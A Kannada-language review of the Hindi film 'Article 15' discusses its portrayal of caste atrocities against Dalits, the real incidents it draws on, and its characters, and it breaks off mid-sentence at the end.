ಆರ್ಟಿಕಲ್ 15 ಅಸ್ಪಶ್ಯ ಭಾರತದ ಜ್ವಲಂತ ವಾಸ್ತವಗಳಿಗೆ ಕನ್ನಡಿ

ಈ ಕಾಲದ ಜಾತಿ ಸಂಕಥನವಾಗಿ, ಕಹಿ ಸತ್ಯಗಳನ್ನು ಮುಂದಿಡುತ್ತಾ, ಕೆಲವು ಪ್ರಶ್ನೆಗಳಿಗೆ ಉತ್ತರಿಸುತ್ತಲೇ, ಉತ್ತರವಿಲ್ಲದ ಪ್ರಶ್ನೆಗಳನ್ನು ಮತ್ತೆ ಮುನ್ನೆಲೆಗೆ ತರುವ ಈ ಸಿನಿಮಾ ಸಂವೇದನಾಶೀಲ ಮನಸ್ಸುಗಳನ್ನು ಗಾಢವಾಗಿ ತಟ್ಟುತ್ತದೆ.

ಕಳೆದ ಒಂದು ದಶಕದಲ್ಲಿ ದೇಶದಲ್ಲಿ ದಲಿತರ ಮೇಲೆ ನಡೆದಿರುವ ಜಾತಿ ದೌರ್ಜನ್ಯಗಳು, ದಲಿತ ಹೆಣ್ಣು ಮಕ್ಕಳ ಮೇಲಿನ ಅತ್ಯಾಚಾರಗಳು, ದಲಿತ ನಾಯಕರ ರಾಜೀ ಕಬೂಲಿಗಳು, ಎಚ್ಚೆತ್ತ ದಲಿತ ಯುವಜನರ ನಿರ್ಭೀತ ಸಂಘರ್ಷಮಯ ದಾರಿ, ಜಾತಿಗ್ರಸ್ತ ವ್ಯವಸ್ಥೆಯೊಳಗಿನ ಸಿಕ್ಕುಗಳು, ಇವೆಲ್ಲವನ್ನೂ ಒಂದು ಕಥೆಯಾಗಿ ಹೆಣೆದು ಇಡೀ ಭಾರತದ ಆತ್ಮವನ್ನು ಸಿನಿಮಾ ಎಂಬ ಮೀಡಿಯಂ ಮೂಲಕ ಪ್ರೇಕ್ಷಕರ ಎದುರಿಗೆ ಹಿಡಿದರೆ ಹೇಗಿರಬಹುದು?

ಹಾಗಿದೆ ಬಾಲಿವುಡ್ ಸಿನಿಮಾ ‘ಆರ್ಟಿಕಲ್ 15’.

ಮುಲ್ಕ್ ಸಿನಿಮಾ ಮೂಲಕ ಗಮನ ಸೆಳೆದಿದ್ದ ಅನುಭವ್ ಸಿನ್ಹಾ ನಿರ್ದೇಶನದ ಆರ್ಟಿಕಲ್ 15 ಸಿನಿಮಾ ಈ ಕಾಲದ ದಲಿತ ಭಾರತದ ಸಂಕಟ, ಸಂಘರ್ಷಗಳಿಗೆ ಕನ್ನಡಿ ಹಿಡಿದಿದೆ.

ಭಾರತದ ಸಂವಿಧಾನದ ಆರ್ಟಿಕಲ್ 15 ಸಾಮಾಜಿಕ ತಾರತಮ್ಯದ ವಿರುದ್ಧವಾದ ವಿಧಿಯಾಗಿದೆ. ಧರ್ಮ, ಜನಾಂಗ, ಜಾತಿ, ಲಿಂಗ ಹಾಗೂ ಜನ್ಮಸ್ಥಳದ ಆಧಾರದಲ್ಲಿ ತಾರತಮ್ಯ ಎಸಗುವುದನ್ನು ಸಂವಿಧಾನದ 15ನೇ ವಿಧಿ ನಿಷೇಧಿಸುತ್ತದೆ. ಆದರೆ ಐಪಿಎಸ್ ಅಧಿಕಾರಿಯಾಗಿ ಆಯ್ಕೆ ಆದ ತಕ್ಷಣದಲ್ಲಿ ಉತ್ತರ ಪ್ರದೇಶದ ಲಾಲ್ ಗಾಂವ್ ಎಂಬ ಊರಿಗೆ ಪ್ರವೇಶಿಸುವ ಅಧಿಕಾರಿ ಅಯಾನ್ ರಂಜನ್‍ಗೆ (ವಿಕ್ಕಿ ಡೋನರ್ ಖ್ಯಾತಿಯ ಆಯುಷ್ಮಾನ್ ಖುರಾನಾ) ಬರಬರುತ್ತಲೇ ಆಘಾತದ ಮೇಲೆ ಆಘಾತಗಳಾಗುತ್ತವೆ.

ಯೂರೋಪಿನಲ್ಲಿ ಉನ್ನತ ಶಿಕ್ಷಣ ಮಾಡಿಕೊಂಡು ತನ್ನ ಕೌಟುಂಬಿಕ ಹಾಗೂ ಜಾತಿ ಹಿನ್ನೆಲೆ ಕಾರಣದಿಂದ ಸುಲಭವಾಗಿ ಉನ್ನತ ಪೊಲೀಸ್ ಅಧಿಕಾರಿಯಾಗಿರುವ ಅಯಾನ್, ತಲೆಯಲ್ಲಿ ಪುಸ್ತಕದಲ್ಲಿ ಓದಿದ ಆದರ್ಶಗಳನ್ನು ಬಿಟ್ಟರೆ ಭಾರತದ ಯಾವ ವಾಸ್ತವಗಳ ಅರಿವೂ ಇಲ್ಲದಿರುವ ವ್ಯಕ್ತಿ. ರಸ್ತೆ ಬದಿ ದಲಿತ ಕೇರಿಯೊಂದರ ಬಳಿ ಜೀಪು ನಿಲ್ಲಿಸಿ ಕುಡಿಯಲು ನೀರು ಕೊಳ್ಳಲು ತನ್ನ ಸಿಬ್ಬಂದಿಗೆ ಹೇಳಿದರೆ, “ಇದು ಪಾಸಿಗಳ (ದಲಿತರ) ಕೇರಿ, ಇಲ್ಲಿ ನೀರು ಕೊಳ್ಳುವುದಿರಲಿ ಅವರ ನೆರಳೂ ಮೈಮೇಲೆ ಬೀಳಬಾರದು ಎಂಬ ರಿವಾಜು ಇಲ್ಲಿದೆ” ಎಂಬ ಮಾತು ಕೇಳಿದ ಅಯಾನ್ ಮೊದಲ ಸಲ ಆಘಾತಕ್ಕೆ ಒಳಗಾಗುತ್ತಾನೆ.

ಇಬ್ಬರು ದಲಿತ ಬಾಲಕಿಯರ ಶವಗಳು ಮರಕ್ಕೆ ನೇತು ಹಾಕಲಾದ ಸ್ಥಿತಿಯಲ್ಲಿ ದೊರೆಯುತ್ತವೆ, ಅವರೊಂದಿಗಿದ್ದ ಒಬ್ಬ ಬಾಲಕಿ ನಾಪತ್ತೆಯಾಗಿರುತ್ತಾಳೆ. ಯಥಾ ಪ್ರಕಾರ ಈ ಪ್ರಕರಣ “ಮರ್ಯಾದಾ ಹತ್ಯೆ” ಎಂದು ಪೊಲೀಸ್ ಸರ್ಕಲ್ ಇನ್‍ಸ್ಪೆಕ್ಟರ್ ಬ್ರಹ್ಮದತ್ತ ಫತ್ವಾ ಹೊಡೆಸಿ ಕೇಸ್ ಫೈಲ್ ಕ್ಲೋಸ್ ಮಾಡಲು ಆತುರನಾಗಿರುತ್ತಾನೆ. ಅದರಂತೆ ಹುಡುಗಿಯರ ಅಪ್ಪಂದಿರನ್ನು ಬಂಧಿಸಿ, ತಪ್ಪೊಪ್ಪಿಗೆ ಹೇಳಿಸಿ ಜೈಲಿಗೆ ತಳ್ಳುವ ತಯಾರಿಯೂ ನಡೆಯುತ್ತಿರುತ್ತದೆ. ಆದರೆ ಅಯಾನ್ ತನ್ನ ಹೋರಾಟಗಾರ್ತಿ ಗೆಳತಿಯೊಂದಿಗೆ ನಡೆಸಿದ ಮೊಬೈಲ್ ಚಾಟಿಂಗ್ ಇಡೀ ಪ್ರಕರಣವನ್ನು ಬೇರೊಂದು ರೀತಿಯಿಂದ ನೋಡುವಂತೆ ಪ್ರೇರಣೆ ನೀಡುತ್ತದೆ.

ಸಿನಿಮೀಯ ರೀತಿಯಲ್ಲಿ ಇದನ್ನು ಬಗೆಹರಿಸಿಬಿಡಬಹುದು ಎಂದುಕೊಳ್ಳುವ ಅಯಾನ್‍ಗೆ ಪ್ರಕರಣದ ಆಳಕ್ಕೆ ಇಳಿಯುವಂತೆ ಗೆಳತಿ ಅದಿತಿ ಹೇಳುತ್ತಾಳೆ. ಈ ಪ್ರಕರಣವನ್ನು “ನನ್ನ ಕೈಲಾದಷ್ಟು ಪ್ರಾಮಾಣಿಕವಾಗಿ ತನಿಖೆ ನಡೆಸುತ್ತೇನೆ” ಎಂದು ಅಯಾನ್ ನಿರ್ಧರಿಸುವಲ್ಲಿಗೆ ಸಿನಿಮಾದ ನಿಜವಾದ ಕತೆ ಹಾಗೂ ಭಾರತದ ಅದರಲ್ಲೂ ಉತ್ತರ ಪ್ರದೇಶದಂತಹ ರಾಜ್ಯದ ಜಾತಿವಾಸ್ತವಗಳು, ವರ್ಣಾಶ್ರಮ ಧರ್ಮದ ಅಸ್ಪಶ್ಯತೆ ಸೃಷ್ಟಿಸಿರುವ ‘ಅಸ್ಪಶ್ಯ ಭಾರತ’ದ ನೈಜತೆಗಳು ಸಿನಿಮಾದುದ್ದಕ್ಕೂ ತೆರೆದುಕೊಳ್ಳುತ್ತಾ ಹೋಗುತ್ತವೆ.

ತನ್ನ ಪ್ರಯತ್ನದಲ್ಲಿ ಅಯಾನ್ ಯಶಸ್ವಿಗೊಳ್ಳುತ್ತಾನಾ? ಭಾರತದಲ್ಲಿರುವ ಜಾತಿ ಪೂರ್ವಾಗ್ರಹ ಪೀಡಿತ ವ್ಯವಸ್ಥೆ ಆತನಿಗೆ ತನ್ನ ಸಂವಿಧಾನಬದ್ಧ ಕಾರ್ಯವನ್ನು ಸುಗಮವಾಗಿ ನೆರವೇರಿಸಲು ಅವಕಾಶ ನೀಡುತ್ತದೆಯಾ? ಸಮಾಜದ ಅತ್ಯಂತ ತಳಸ್ತರದ ದಲಿತರಿಗೆ ನ್ಯಾಯ ಸಲ್ಲಿಸಲು ಪೊಲೀಸ್ ಯಂತ್ರಾಂಗದಲ್ಲಿರುವ ಮೇಲ್ಜಾತಿ ಮನಸುಗಳು ಒಪ್ಪಿಗೆ ಕೊಡುತ್ತವೆಯೇ? ಇವೆಲ್ಲವೂ ಎರಡೂವರೆ ಗಂಟೆಯ ಸಿನಿಮಾದಲ್ಲಿ ಭಿತ್ತರಗೊಳ್ಳುತ್ತವೆ.

ಪ್ರಸ್ತುತ ಭಾರತೀಯ ಸಮಾಜದಲ್ಲಿ ಘಟಿಸಿದ ಹತ್ತುಹಲವು ನಿಜಸಂಗತಿಗಳನ್ನು ನಿರ್ದೇಶಕ ಅನುಭವ್ ಸಿನ್ಹಾ ‘ಆರ್ಟಿಕಲ್ 15’ ಸಿನಿಮಾದಲ್ಲಿ ಮರುಸೃಷ್ಟಿಸಿದ್ದಾರೆ. ಉದಾಹರಣೆಗೆ 2014ರಲ್ಲಿ ಉತ್ತರ ಪ್ರದೇಶದ ಬಡಾಂವ್ ನಲ್ಲಿ ನಡೆದ ದಲಿತ ಬಾಲಕಿಯರ ಗ್ಯಾಂಗ್ ರೇಪ್ ಘಟನೆ; 2016ರಲ್ಲಿ ಭಾರತವನ್ನೇ ತಲ್ಲಣಗೊಳಿಸಿದ ಊನಾ ಘಟನೆಯಲ್ಲಿ ಮೇಲ್ಜಾತಿ ಜನ ದಲಿತ ಯುವಕರನ್ನು ವಾಹನವೊಂದಕ್ಕೆ ಕಟ್ಟಿ ಹೀನಾಮಾನವಾಗಿ ಹಲ್ಲೆ ನಡೆಸಿದ ದೌರ್ಜನ್ಯ; ಅದಕ್ಕೆ ಪ್ರತಿಯಾಗಿ ಗುಜರಾತಿನ ಚಮಾರ್ ದಲಿತರು, ಪೌರ ಕಾರ್ಮಿಕರು ನಡೆಸಿದ ಮಿಂಚಿನ ಅಸಹಕಾರ ಚಳವಳಿ; ಸರ್ಕಾರಿ ಕಚೇರಿಗಳ ಎದುರು ಸತ್ತ ದನಗಳ ಕಳೇಬರಗಳನ್ನು, ರಾಶಿ ಕಸವನ್ನು ತಂದು ಹಾಕಿ ತೋರಿದ ಪ್ರತಿರೋಧ, ವೈದಿಕ ಧರ್ಮದ ಹರಿಕಾರರು ದಲಿತ ನಾಯಕರನ್ನು ಆಪೋಶನ ತೆಗೆದುಕೊಳ್ಳುವ ವಿದ್ಯಮಾನಗಳು; ದಲಿತರ ಜ್ವಲಂತ ಸಮಸ್ಯೆಗಳಿಗೆ ಯಾವ ರೀತಿಯೂ ಸಂಬಂಧವಿಲ್ಲದಂತೆ, ಭ್ರಾಮಕ ಪರಿಹಾರದತ್ತ ಸೆಳೆಯುವ ದಲಿತರೊಂದಿಗೆ ಪಂಕ್ತಿ ಭೋಜನ ನಡೆಸುವ ನಾಟಕಗಳು; ಉತ್ತರ ಪ್ರದೇಶದಲ್ಲಿ ನಡೆಯುತ್ತಿರುವ ಚಂದ್ರಶೇಖರ್ ಆಜಾದ್ ನೇತೃತ್ವದ ಭೀಮ್ ಆರ್ಮಿ ಚಳವಳಿ; ಕಟ್ಟಿಕೊಂಡ ಮ್ಯಾನ್ ಹೋಲ್ ಒಳಗೆ ಮುಳುಗಿ ಏಳುವ ದಲಿತ ಪೌರ ಕಾರ್ಮಿಕರ ದಿನನಿತ್ಯದ ಭೀಕರವಾದ ಬದುಕು; ಇವೆಲ್ಲವುಗಳ ನಡುವೆ ಪಟ್ಟಭದ್ರರಿಗೆ ಹಿಂಸಾತ್ಮಕವಾಗಿ, ದೇಶದ್ರೋಹಿ ಘೋಷಣೆಯಾಗಿ ಕೇಳಿಸುತ್ತಿರುವ `ಜೈ ಭೀಮ್ ಘೋಷಣೆ’ -ಇವೆಲ್ಲವನ್ನೂ ನಿರ್ದೇಶಕ ಹಾಗೂ ಚಿತ್ರಕತೆ ಬರೆದ ಗೌರವ ಸೋಲಂಕಿ ಬಹಳ ಅಚ್ಚುಕಟ್ಟಾಗಿ ಮತ್ತು ಪರಿಣಾಮಕಾರಿಯಾಗಿ ಜೋಡಿಸಿದ್ದಾರೆ.

ಇವಾನ್ ಮುಲ್ಲಿಗನ್ ಅವರ ಸಿನಿಮಾಟೊಗ್ರಫಿಯ ದೃಶ್ಯ ಸಂಯೋಜನೆಯಂತೂ ಅದ್ಭುತವಾಗಿದೆ. ಯಾವುದೇ ಭ್ರಾಮಕ ಪುಲಕ ನೀಡದೇ ವಾಸ್ತವವಾದಿ ನೆಲೆಯಲ್ಲಿ ನಾವೇ ಆ ಹಳ್ಳಿಗಳ ಭೌಗೋಳಿಕ ಹಾಗೂ ಸಾಮಾಜಿಕ ಪರಿಸರದಲ್ಲಿ ಹೊಕ್ಕು ಬಂದ ಅನುಭವವನ್ನು ಸಿನಿಮಾ ನೀಡುವಲ್ಲಿ ಈ ಕ್ಯಾಮೆರಾ ಕೈಚಳಕ ಮಹತ್ವದ ಪಾತ್ರ ವಹಿಸಿದೆ. ಅದರಲ್ಲೂ ಕಳೆದುಹೋದ ದಲಿತ ಬಾಲಕಿ ಪೂಜಾಳನ್ನು ಹುಡುಕಲು ಲಾಲ್ ಗಾಂವ್ ನ ಕೆಸರಿನಲ್ಲಿ ಬ್ರಾಹ್ಮಣ ಪೊಲೀಸ್ ಅಧಿಕಾರಿ ಅಯಾನ್ ಇತರೆ ಜಾತಿಗಳ ಸಹೋದ್ಯೋಗಿಗಳೊಂದಿಗೆ ಇಳಿದ ದೃಶ್ಯ ಮನಸಿಗೆ ತಟ್ಟುತ್ತದಲ್ಲದೇ ಆ ಕೆಸರು ತುಂಬಿದ ಕೆರೆ ಅಸ್ಪಶ್ಯತೆ ತುಂಬಿದ ಭಾರತವನ್ನು ಬಿಂಬಿಸುವ ಒಂದು ದೃಶ್ಯರೂಪಕವಾಗಿ ನಿಲ್ಲುತ್ತದೆ.

ಇದು ಆನಂದ್ ಪಟವರ್ಧನ್ ಅವರ ಅದ್ಭುತವಾದ `ಜೈ ಭೀಮ್ ಕಾಮ್ರೇಡ್’ ನಂತಹ ಮತ್ತೊಂದು ಸಾಕ್ಷ್ಯಚಿತ್ರವೇ ಆಗಿಬಿಡಬಹುದಾಗಿದ್ದ ಸಾಧ್ಯತೆಯನ್ನು ನಿರ್ದೇಶಕ ಅನುಭವ್ ಸಿನ್ಹಾ ಹುಷಾರಾಗಿ ತಪ್ಪಿಸಿದ್ದಾರೆ! ಸಿನಿಮಾದ ಕಥೆ ಒಂದು ಕ್ರೈಂ ಥ್ರಿಲ್ಲರ್ ನಂತೆ ಕೊನೆಯವರೆಗೂ ಕುತೂಹಲ ಉಳಿಸಿಕೊಳ್ಳುವಂತೆ ಹೆಣೆದು ಇದನ್ನೊಂದು ಫೀಚರ್ ಸಿನಿಮಾ ಆಗಿಸುವಲ್ಲಿ ನಿರ್ದೇಶಕ ಅಗತ್ಯ ಜಾಣ್ಮೆ ತೋರಿದ್ದಾರೆ. ಈ ಕಾರಣದಿಂದಾಗಿಯೇ ಅದು ಮೊದಲ ದಿನ ಬಾಕ್ಸ್ ಆಫೀಸಿನಲ್ಲಿ 4 ಕೋಟಿ ಗಳಿಸಲು ಸಾಧ್ಯವಾಗಿದೆ.

ದಲಿತ ಹೆಣ್ಣುಮಕ್ಕಳ ಮೇಲೆ ಅತ್ಯಾಚಾರ ನಡೆದಾಗಲೆಲ್ಲಾ ಕೆಲ ಮೇಲ್ಜಾತಿ ಹಿನ್ನೆಲೆಯೆ ಗೆಳೆಯ/ಗೆಳತಿಯರು (ಅದರಲ್ಲಿ ಸ್ತ್ರೀವಾದಿಗಳೂ, ಮಹಿಳಾಪರ ಸೂಕ್ಷ್ಮವಾಗಿ ಆಲೋಚಿಸುವವರೂ ಸೇರಿದಂತೆ) ಕೇಳುವ ಒಂದು ಪ್ರಶ್ನೆ “ಅರೆ, ರೇಪ್ ಅಂದ್ರೆ ರೇಪ್ ಅಷ್ಟೆ. ಅದರಲ್ಲಿ ದಲಿತರ ಮೇಲಿನ ರೇಪ್ ಇತರರ ಮೇಲಿನ ರೇಪ್ ಎಂದು ಬೇರೆ ಬೇರೆಯಾಗಿ ಯಾಕೆ ನೋಡಬೇಕು? ಅತ್ಯಾಚಾರಕ್ಕೆ ಒಳಗಾದ ಮಹಿಳೆ ಯಾರೇ ಇರಲಿ ಅವರ ನೋವು ಒಂದೇ ಅಲ್ಲವೇ?” ಎಂದು ಪ್ರಶ್ನಿಸಿ ಸಂವಿಧಾನದ ಆರ್ಟಿಕಲ್ 15ರ `ಸಮಾನತೆ’ಯ ಪ್ರಶ್ನೆಯನ್ನು ತಮ್ಮ ಮೇಲ್ಜಾತಿ ಸಹಜ ಮುಗ್ಧತೆಯೊಂದಿಗೆ ಕೇಳುತ್ತಿರುತ್ತಾರೆ. ಮೇಲ್ನೋಟಕ್ಕೆ ಮುಗ್ಧ ಎಂದು ತೋರುವ ಆದರೆ ಆಳದಲ್ಲಿ ಜಾತಿ ಪೂರ್ವಗ್ರಹಗಳಿಂದಾಗಿಯೇ ಬರುವ ಇಂತಹ ಪ್ರಶ್ನೆ ರೂಪದ ಅಭಿಪ್ರಾಯಗಳಿಗೆ `ಆರ್ಟಿಕಲ್ 15′ ಸಿನಿಮಾ ಒಂದು ಸಮರ್ಥ ಉತ್ತರವಾಗಿ ಬಂದಿದೆ.

ಜಾತಿಯಲ್ಲಿ ತಳಸ್ತರದ, ದಲಿತ, ಆದಿವಾಸಿಗಳ ಮೇಲೆ ಅತ್ಯಾಚಾರ ದೌರ್ಜನ್ಯಗಳು ಈ ದೇಶದಲ್ಲಿ ಯಾಕಾಗಿ ಆಗುತ್ತವೆ? (ಈ ಸಿನಿಮಾದಲ್ಲಿ 3 ರೂಪಾಯಿ ಸಂಬಳ ಜಾಸ್ತಿ ಕೇಳಿದ ತಪ್ಪಿಗೆ ಆಗುತ್ತದೆ), ಅತ್ಯಾಚಾರ ಆದ ನಂತರ ಅದರಲ್ಲಿ ಶಾಮೀಲಾದ ಮೇಲ್ಜಾತಿ ಅಧಿಕಾರಿಗಳು ಹೇಗೆ ವರ್ತಿಸುತ್ತಾರೆ, ಮೇಲ್ಜಾತಿ ಸಿದ್ಧಾಂತವನ್ನೇ ತನ್ನ ಮಾರ್ಗದರ್ಶಿಯಾಗಿ ಬರುವ ಸಿಬಿಐ ಏನು ಮಾಡುತ್ತದೆ, ಅತ್ಯಾಚಾರ ಸಂತ್ರಸ್ತರ ಪರ ನಿಲುವು ತಳೆಯುವ ಅಧಿಕಾರಿ ಅಯಾನ್ ಸಹ ಸಹೋದ್ಯೋಗಿಗಳ ಬಳಿ ಜಾತಿ ಕುರಿತು ಕೇಳಿದ್ದಕ್ಕೆ `ದಲಿತರ ಮೇಲೆ ಪೂರ್ವಾಗ್ರಹ’ ಹೊಂದಿದ ಆರೋಪಕ್ಕೆ ಒಳಗಾಗುವುದು, ಸಮಾಜದಲ್ಲಿ ಪಾರಂಪರಾಗತ ಸಮತೋಲನವನ್ನು (ಸಂತುಲಿತ) ಹಾಳು ಮಾಡಲು ಬಂದವನಂತೆಯೂ ತೋರುವುದು ಎಲ್ಲವೂ ಮಾರ್ಮಿಕವಾಗಿವೆ.

ಸಿನಿಮಾದ ಮತ್ತೊಂದು ವಿಶೇಷವೆಂದರೆ, ನಾಯಕ ಪಾತ್ರದಲ್ಲಿ ಅಯಾನ್ ಎಷ್ಟು ಮುಖ್ಯವೋ ಅಷ್ಟೇ ಪ್ರಮುಖ ಪಾತ್ರ ವಹಿಸುವುದು ಭೀಮ್ ಆರ್ಮಿಯನ್ನು ಸಂಕೇತಿಸುವ ಆರ್.ಬಿ.ಎಸ್. ಸಂಘಟನೆಯ ನಾಯಕ ನಿಷಾದ್ ಪಾತ್ರ. ನಮ್ಮ ಸಾಮಾಜಿಕ ವ್ಯವಸ್ಥೆಯಲ್ಲಿ ನಿಜವಾದ ಸಾಮಾಜಿಕ ಬದಲಾವಣೆ ಬಯಸುವ ಭಿನ್ನ ಸಮುದಾಯದ ಯುವಕರಿಬ್ಬರು ತುಳಿಯುವ ಭಿನ್ನ ಹಾದಿಗಳು ಹಾಗೂ ಆ ಹಾದಿಗಳು ಯಶಸ್ವಿಗೊಳ್ಳಲು ಇರುವ ಅಡೆತಡೆ, ಸಾಧ್ಯತೆಗಳನ್ನು ಕುರಿತು ಆರ್ಟಿಕಲ್ 15 ಚಿಂತಿಸುವಂತೆ ಮಾಡುತ್ತದೆ. ಇಬ್ಬರಿಗೂ ಪ್ರೇರಕ ಶಕ್ತಿಯಾಗಿ ಕೆಲಸ ಮಾಡುವ ನಿಷಾದ್‍ನ ಗೆಳತಿ ಗೌರಾ (ಸಯಾನಿ ಗುಪ್ತ), ಅಯಾನ್ ಗೆಳತಿ ಅದಿತಿ (ಇಶಾ ತಲ್ವಾರ್) ಪಾತ್ರಗಳು ವಿಶೇಷವಾಗಿ ಗಮನ ಸೆಳೆಯುತ್ತದೆ.

ಅಯಾನ್ ಗೆಳತಿ ಅದಿತಿ ಯಾವ ನೋವನ್ನೂ ಸ್ವತಃ ಅನುಭವಿಸದ ಕೌಟುಂಬಿಕ ಹಿನ್ನೆಲೆಯಿದ್ದರೂ ತನ್ನ ಸಾಮಾಜಿಕ ತಿಳಿವಳಿಕೆಯಿಂದಲೇ ಪರಿಸ್ಥಿತಿಯನ್ನು ಗ್ರಹಿಸಿ ಅಧಿಕಾರಿ ಅಯಾನ್ ಗೆ ಮಾರ್ಗದರ್ಶನವನ್ನೂ, ಧೈರ್ಯವನ್ನೂ ನೀಡಬಲ್ಲಳು. ಅಯಾನ್ ಗೆ ತನ್ನ ಸಾಮೀಪ್ಯ ಅಗತ್ಯ ಎನಿಸಿದಾಗ ರಾಜಧಾನಿಯಿಂದ ಸೀದಾ ಲಾಲ್ ಗಾಂವ್ ಗೇ ಬಂದುಬಿಡುವಂತಹ ಸೂಕ್ಷ್ಮತೆ ಉಳ್ಳವಳು.

ಇನ್ನು ಗೌರಾ ಸ್ವಯಂ ಅಸ್ಪಶ್ಯತೆಯ ನೋವುಂಡವಳು, ಆಕೆ ಅತ್ಯಾಚಾರಕ್ಕೆ ಒಳಗಾದ ಬಾಲಕಿಯ ಅಕ್ಕ. ದಲಿತ ಸಮುದಾಯದ ಸ್ವಾಭಿಮಾನದ ಹೋರಾಟದಲ್ಲಿ ಜೀವದ ಹಂಗು ತೊರೆದು ಭೂಗತನಾಗಿರುವ ನಿಷಾದ್ ಹೆಸರು ಕೇಳಿದೊಡನೆ ಆಕೆಯ ಕಣ್ಣುಗಳಲ್ಲಿ ಹೊಳಪು ಮೂಡುವುದನ್ನು ಅಯಾನ್ ಗುರುತಿಸುತ್ತಾನೆ. ನಿಷಾದ್‍ಗೆ ತನ್ನ ಹೋರಾಟದ ಬದುಕು ಐದು ನಿಮಿಷ ಆಗಸದ ಚಂದ್ರನನ್ನೂ ಮೈಮರೆತು ನೋಡದಂತಹ ಸ್ಥಿತಿ ನಿರ್ಮಿಸಿದೆ. ಗೆಳತಿ ಗೌರಾಳನ್ನು ಮಗುವಿನಂತೆ ತಬ್ಬಿಕೊಂಡು ಅಳುವ ನಿಷಾದ್ ಗೆ ಈಗಲೋ ಆಗಲೋ ತನ್ನ ಬದುಕು ಕೊನೆಗೊಳ್ಳುವುದೆಂದು ತಿಳಿದಿದ್ದರೂ `ಈ ದಾರಿಯಲ್ಲಿ ಹೋಗುತ್ತಿರುವ ನಾನು ಕೊನೆಯವನೇನಲ್ಲ’ ಎಂಬ ದಾಷ್ಟ್ರ್ಯದಂತಹ ಆತ್ಮವಿಶ್ವಾಸ. ದಲಿತರ ಏಳಿಗೆಗಾಗಿ ತನ್ನ ನಂತರವೂ ತನ್ನನ್ನು ಅನುಸರಿಸುವ ಯುವಕರು ಇದ್ದಾರೆ ಎಂಬ ನಂಬಿಕೆ ಅವನದು. ಹಾಗಾಗಿ ಯಾವ ಸಂದರ್ಭದಲ್ಲಿಯೂ ಅವನ ಕಣ್ಣುಗಳಲ್ಲಿ ವಿಚಲತೆ ಕಂಡು ಬರುವುದಿಲ್ಲ. ದಲಿತ ಬಾಲಕಿಯರ ಅತ್ಯಾಚಾರ ಪ್ರಕರಣದ ತನಿಖೆಗೆ ನಿಷಾದ್ ಸಂಘಟನೆ ಘೋಷಿಸಿರುವ ಮುಷ್ಕರ ಅಡ್ಡಿಯಾದಾಗ ಅಯಾನ್ ತಾನೇ ಖುದ್ದಾಗಿ ಭೂಗತ ನಿಷಾದ್ ನನ್ನು ಭೇಟಿ ಮಾಡಿ ಮಾತುಕತೆ ನಡೆಸುವ ದೃಶ್ಯ ಇತ್ತೀಚೆಗೆ ಅಕಾಲಿಕ ಮರಣಕ್ಕೀಡಾದ ಕರ್ನಾಟಕದ ದಕ್ಷ ಅಧಿಕಾರಿ ಮಧುಕರ ಶೆಟ್ಟಿಯನ್ನು ನೆನಪಿಗೆ ತರುತ್ತದೆ. ಅಲ್ಲಿ ನಿಷಾದ್ ಮತ್ತು ಅಯಾನ್ ನಡುವಿನ ಮಾತುಕತೆ ಮಾರ್ಮಿಕವಾಗಿದೆ.

‘ಒಮ್ಮೆ ಹರಿಜನರಾಗ್ತೀವಿ, ಮತ್ತೊಮ್ಮೆ ಬಹುಜನರಾಗ್ತೀವಿ; ಆದ್ರೆ… ಜನಗಣಮನದಲ್ಲಿನ ‘ಜನ’ ಮಾತ್ರ ಆಗ್ತಾ ಇಲ್ಲ ನಾವು’ ಎಂಬ ನಿಷಾದ್‍ನ ಮಾತು ಅತ್ಯಂತ ಸಶಕ್ತವಾಗಿ  ಸದ್ಯದ ದಲಿತ ಬದುಕಿಗೆ ಹಿಡಿದ ಕನ್ನಡಿಯಾಗಿದೆ. ‘ನಮಗೆ ಹೀರೊ ಬೇಕಿಲ್ಲ; ಬೇಕಿರೋದು ಹೀರೊಗಾಗಿ ಕಾಯುತ್ತ ಕೂರದವರು’, ‘ನಾವು ಹಿಂಸೆಯ ಮಾರ್ಗ ಆಯ್ದುಕೊಂಡರೆ, ಅವರಿಗೆ ನಮ್ಮನ್ನು ಟಾರ್ಗೆಟ್ ಮಾಡಿ ಕೊಲ್ಲುವುದು ಮತ್ತಷ್ಟು ಸುಲಭ’ ಎಂಬ ಮಾತುಗಳು ಅರ್ಥಗರ್ಭಿತವಾಗಿವೆ. `ಕೆಲವರಿಗೆ ಬದುಕೇ ಒಂದು ಶಾಪ. ಆದ್ರೆ ನಂಗೆ, ನನ್ನ ಹುಟ್ಟೇ ಮಾರಾಣಾಂತಿಕ ಅಪಘಾತವಾಗ್ಬಿಟ್ಟಿತ್ತು’ ಎಂಬ ರೋಹಿತ್ ವೇಮುಲಾ ಡೆತ್ ನೋಟಿನ ಪ್ರಸಿದ್ಧ ಸಾಲುಗಳನ್ನೂ ಹಿನ್ನೆಲೆ ಸಂಗೀತದೊಂದಿಗೆ ಹೇಳಿಸುವ ನಿರ್ದೇಶಕ ಈ ಕಾಲದ ಯುವ ದಲಿತ ಮನಸ್ಸುಗಳ ತುಡಿತವನ್ನು ಸಿನಿಮಾ ಮೂಲಕ ಅಭಿವ್ಯಕ್ತಪಡಿಸಿದ್ದಾರೆ.

ಇಷ್ಟೆಲ್ಲಾ ಆಗಿಯೂ ಬಹಳ ಸಲ ಕೇಳಲ್ಪಟ್ಟಿರುವ ಒಂದು ಪ್ರಶ್ನೆ ಹಾಗೇ ಉಳಿಯುತ್ತದೆ. ದಲಿತರಿಗೆ ನ್ಯಾಯ ಸಲ್ಲಿಸಲು ಬ್ರಾಹ್ಮಣ ಅಯಾನ್ ಅಧಿಕಾರಿಯೇ ಆಗಬೇಕೇ? ಇಂತಹ ಚಿತ್ರಣ ಕೇವಲ ಭ್ರಮೆ ಮೂಡಿಸುವುದಿಲ್ಲವೇ? ವಾಸ್ತವ ಬದುಕಿನಲ್ಲಿ ಇದೆಲ್ಲಾ ಸಾಧ್ಯವೇ? ಎಂಬ ಪ್ರಶ್ನೆ ಉದ್ಭವಿಸುತ್ತದೆ. ಆದರೆ ನಿರ್ದೇಶಕ ಅನುಭವ್ ಸಿನ್ಹಾ ಗ್ರಹಿಕೆ ಬೇರೊಂದು ನಿಟ್ಟಿನಲ್ಲಿರುವಂತೆ ತೋರುತ್ತದೆ. ಇಂತಹ ಸಿನಿಮಾದ ಮೂಲಕ, ವಸ್ತುಸ್ಥಿತಿಯನ್ನು ಬಿಂಬಿಸಿ, ಸೊ ಕಾಲ್ಡ್ ಮೇಲು ಜಾತಿಗಳ ಜನರು ಜಾತಿ ತಾರತಮ್ಯವನ್ನು ಹೋಗಲಾಡಿಸುವ 